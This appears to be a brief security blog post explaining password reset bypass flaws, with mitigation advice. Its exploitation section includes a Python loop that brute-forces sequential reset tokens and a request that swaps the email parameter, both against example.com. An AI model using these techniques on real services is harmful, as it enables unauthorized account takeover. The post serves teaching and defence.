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In this article, we explore how attackers can bypass verification mechanisms in password reset functionalities, a critical vulnerability that can lead to unauthorized account access.
You Should Know:
1. Understanding the Vulnerability
Password reset bypass vulnerabilities occur when an application fails to properly validate user identity during the password recovery process. Attackers exploit weak token generation, insecure direct object references (IDOR), or flawed session handling.
2. Common Exploitation Techniques
- Token Manipulation: Changing or reusing reset tokens.
- IDOR Attacks: Modifying user IDs or emails in reset requests.
- Response Manipulation: Altering server responses to skip verification.
3. Practical Exploitation Steps
Here’s how an attacker might bypass verification:
Step 1: Intercept the Reset Request
Use Burp Suite or OWASP ZAP to capture the password reset request:
curl -X POST http://example.com/reset-password -d "[email protected]"
Step 2: Analyze the Token
Check if the token is predictable or reusable:
echo "Token: $RESET_TOKEN" | grep -E "[0-9a-f]{32}"
Step 3: Modify the Request
If the app uses sequential tokens, brute-force or reuse them:
import requests
for i in range(1000, 2000):
r = requests.post("http://example.com/reset", data={"token": f"RESET-{i}"})
if "Password Changed" in r.text:
print(f"Valid Token: RESET-{i}")
break
Step 4: Bypass Email Verification
If the app only checks the token but not the email, change the email parameter:
POST /reset-password HTTP/1.1 Host: example.com ... [email protected]&token=LEAKED_TOKEN
4. Mitigation Techniques
- Use time-limited, one-time tokens.
- Enforce multi-factor authentication (MFA) for resets.
- Log and monitor suspicious reset attempts.
What Undercode Say
Password reset flaws are among the most dangerous web vulnerabilities. Always:
– Test reset tokens for randomness.
– Implement rate limiting to prevent brute-forcing.
– Use HMAC-signed tokens instead of plain values.
Linux Command for Token Analysis:
openssl rand -hex 32 Secure token generation
Windows Command for Logging:
Get-EventLog -LogName Security -InstanceId 4723 Check password reset events
Expected Output:
A secure password reset flow should:
1. Generate cryptographically random tokens.
2. Validate user identity before allowing changes.
3. Log all reset attempts for auditing.
Reference: Bypass Password Reset Vulnerability
References:
Reported By: Firdaus Muhammad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
